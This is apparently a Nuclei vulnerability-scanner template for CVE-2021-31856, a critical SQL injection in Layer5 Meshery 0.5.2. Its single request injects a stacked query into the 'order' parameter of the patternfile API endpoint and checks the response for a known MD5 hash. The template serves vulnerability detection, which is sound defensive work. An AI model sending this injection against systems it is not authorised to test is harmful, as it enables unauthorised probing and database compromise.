id: CVE-2021-31856

info:
  name: Layer5 Meshery 0.5.2 SQLi
  author: princechaddha
  severity: critical
  description: A SQL Injection vulnerability in the REST API in Layer5 Meshery 0.5.2 allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
  reference:
    - https://github.com/ssst0n3/CVE-2021-31856
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31856
  tags: sqli,cve,cve2021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-31856
    cwe-id: CWE-89

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5('nuclei'))&page=0&page_size=0"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "709b38b27304df6257a86a60df742c4c"
        part: body

      - type: status
        status:
          - 200